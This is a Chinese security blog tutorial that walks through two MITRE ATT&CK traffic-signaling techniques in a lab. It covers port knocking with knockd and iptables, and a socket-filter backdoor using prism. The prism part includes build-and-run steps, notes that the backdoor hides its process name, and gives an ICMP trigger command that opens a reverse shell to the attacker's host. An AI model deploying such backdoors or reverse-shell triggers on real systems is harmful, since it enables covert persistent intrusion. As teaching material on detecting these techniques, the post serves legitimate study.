Mitre Att&ck框架T1205.001(端口敲击)和T1205.002(套接字过滤)技术的简单实现

admin 2024年12月5日16:58:36评论25 views字数 2837阅读9分27秒阅读模式

在Mitre Att&ck框架中,T1205技术(Traffic Signaling,流量信号)位于“持久控制”战术中,它有两项子技术,分别是“T1205.001(Port Knocking,端口敲击)”和“T1205.002(Socket Filters,套接字过滤器)”。今天对这两项子技术分别进行介绍。

T1205.001端口敲击(Port Knocking)

(一)官方介绍

https://attack.mitre.org/techniques/T1205/001/

对手可能使用端口敲击来隐藏用于持久化或命令和控制的开放端口。为了启用端口,攻击者会向预定义的关闭端口序列发送一系列连接请求。请求被正确识别后,通常由基于主机的防火墙来打开端口,但也可以由自定义软件实现。人们观察到,这种技术既可以动态打开监听端口,也可以初始化与其它系统所运行监听服务的连接。

可以通过不同的方法来观察触发通信的信号包。一种方法最初由Cd00r实现,是使用libpcap库来嗅探发出请求的数据包。另一种方法利用原始套接字,这使得恶意软件能够使用已经打开供其他程序使用的端口。

(二)使用knockd演示端口敲击技术

1、平台信息

平台类型,操作系统版本,软件,IP地址

客户端(攻击者),manjaro,knock,192.168.242.1

服务端(靶机),kali,knockd,192.168.242.1

2、安装knockd

yay -S extra/knockd

3、服务端操作

(1)拒绝所有入站流量

//执行iptables指令,设置默认拒绝所有入站流量

sudo iptables -P INPUT DROP

Mitre Att&ck框架T1205.001(端口敲击)和T1205.002(套接字过滤)技术的简单实现

此时靶机的ssh服务端口可以连接,但是无法输入口令,因为被iptables阻断。

(2)编写配置文件

vi knockd.conf //加入下面的内容

[options]

logfile = /var/log/knockd.log

[opencloseSSH]

sequence = 2222:udp,3333:udp,4444:udp

seq_timeout = 15

tcpflags = syn,ack

start_command = /usr/sbin/iptables -A INPUT -s %IP% -p tcp -j ACCEPT

cmd_timeout = 30

stop_command = /usr/sbin/iptables -D INPUT -s %IP% -p tcp -j ACCEPT

保存退出。

参数含义如下:

sequence //客户端发送的敲击序列

start_command //检测到正确的敲击序列后执行的操作系统命令,这里是添加防火墙规则

cmd_timeout //执行了start_command之后,多长时间执行stop_command

stop_command //这里是删除防火墙规则

(3)运行knockd

knockd -i eth0 -D -v -c knockd.conf

-i:指定网卡

-v:输出状态消息

-D:输出调试消息

-c:指定配置文件

Mitre Att&ck框架T1205.001(端口敲击)和T1205.002(套接字过滤)技术的简单实现

4、客户端操作

(1)敲门

./knock 192.168.242.167 2222:udp 3333:udp 4444:udp -v -d 1000

-d:指定端口敲击序列中每个动作之间的延迟时间,主要是为避免被防火墙当成端口扫描流量而丢弃。

-v:输出详细的状态消息

Mitre Att&ck框架T1205.001(端口敲击)和T1205.002(套接字过滤)技术的简单实现

(2)访问ssh服务

之后客户端可以访问ssh服务,说明服务端触发的start_command指令被成功执行了:

Mitre Att&ck框架T1205.001(端口敲击)和T1205.002(套接字过滤)技术的简单实现

5、查看服务端输出

服务端检测到敲门动作,执行了iptables命令,这样客户端才能完成ssh连接:

Mitre Att&ck框架T1205.001(端口敲击)和T1205.002(套接字过滤)技术的简单实现

一分钟之后,服务端根据配置文件的设置,触发了stop_command:

Mitre Att&ck框架T1205.001(端口敲击)和T1205.002(套接字过滤)技术的简单实现

T1205.002套接字过滤器(Socket Filters)

(一)官方介绍

https://attack.mitre.org/techniques/T1205/002/

对手可能在失陷主机上监视特定网络套接字,以激活用于持久化或C&C的后门。提升权限后,对手可以使用“libpcap”库来打开套接字并安装过滤器,以允许或禁止某些类型的数据通过套接字。为了建立连接,对手会将与目标过滤器相匹配的数据包发送到失陷主机。当失陷主机的网络接口收到与过滤条件匹配的数据包时,即可在主机上触发其他操作,例如执行反弹shell连接。由于套接字连接在收到数据包之前处于不活动状态,各项指标不明显,因此很难被识别。

为了建立连接,攻击者会向目标主机发送一个符合已安装过滤器条件的精心制作的数据包。对手已经使用这些套接字过滤器来触发植入物的安装、进行回拨和调用命令shell。与这些套接字过滤器的通信也可能与协议隧道结合使用。

只要安装了libpcap,过滤器就可以安装在任何类Unix平台上,Windows主机上可以使用 Winpcap。对手可以使用libpcap的pcap_setfilter函数或标准库函数setsockopt的SO_ATTACH_FILTER选项。由于套接字连接在接收到数据包之前并不活跃,因此这种行为可能由于主机上缺乏活动、低CPU占用率以及对原始套接字使用的有限可见性而难以检测。

(二)使用prism演示套接字过滤技术

1、平台信息

平台类型,操作系统版本,软件,IP地址

靶机,kali,prism,192.168.242.167

攻击者,manjaro,prism,192.168.242.1

2、靶机部署prism

(1)下载源码

git clone https://github.com/andreafabrizi/prism

(2)安装依赖软件

sudo apt update

sudo apt-get install gcc-multilib

(3)修改源码

cd prism/

vi prism.c //修改第46行的连接密码,默认是“p4ssw0rd”

# define ICMP_KEY "ei7Doo2w"

保存退出

(4)编译

gcc -DDETACH -m32 -Wall -s -o prism prism.c

Mitre Att&ck框架T1205.001(端口敲击)和T1205.002(套接字过滤)技术的简单实现

生成了可执行文件prism

(5)运行prism

sudo ./prism

Mitre Att&ck框架T1205.001(端口敲击)和T1205.002(套接字过滤)技术的简单实现

运行后没有输出,并且看不到进程,可能是通过修改进程名来隐藏自身。

(6)查看进程

使用pstree可以看到prism改名后的进程

pstree -p | grep prism

Mitre Att&ck框架T1205.001(端口敲击)和T1205.002(套接字过滤)技术的简单实现

进程改名为/bin/sh。

3、攻击者操作

(1)发送icmp请求

//攻击者使用prism包中的脚本发送icmp请求,触发执行反弹连接代码

python2 sendPacket.py 192.168.242.167 ei7Doo2w 192.168.242.1 6666

说明:

192.168.242.167 //靶机IP

ei7Doo2w //连接密码,与prism.c文件中的值一致

192.168.242.1 //攻击者IP

6666 //攻击者使用nc监听的端口

(2)攻击者得到反弹shell

Mitre Att&ck框架T1205.001(端口敲击)和T1205.002(套接字过滤)技术的简单实现

原文始发于微信公众号(新蜂网络安全实验室):Mitre Att&ck框架T1205.001(端口敲击)和T1205.002(套接字过滤)技术的简单实现

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月5日16:58:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Mitre Att&ck框架T1205.001(端口敲击)和T1205.002(套接字过滤)技术的简单实现https://cn-sec.com/archives/3471225.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息